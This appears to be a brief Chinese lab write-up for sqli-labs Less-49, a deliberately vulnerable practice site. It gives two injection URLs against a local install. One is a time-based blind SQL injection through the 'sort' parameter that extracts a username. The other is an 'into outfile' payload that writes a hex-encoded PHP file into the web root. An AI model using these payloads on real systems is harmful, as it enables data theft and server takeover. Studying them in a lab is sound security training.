标签：
本关与47关基本类似，区别在于没有错误回显，所以我们可以通过延时注入和导入文件进行注入。
利用延时注入
http://127.0.0.1/sqli-labs/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+
延时效果图就不贴图展示了,可以构造substr的第一个参数进行后续注入。
或者利用into outfile进行注入
http://127.0.0.1/sqllib/Less-49/?sort=1%27into%20outfile%20%22c:\\wamp\\www\\sqllib\\test.php%22%20lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+
?
Sqli-labs less 49
原文地址：http://www.cnblogs.com/lcamry/p/5762694.html
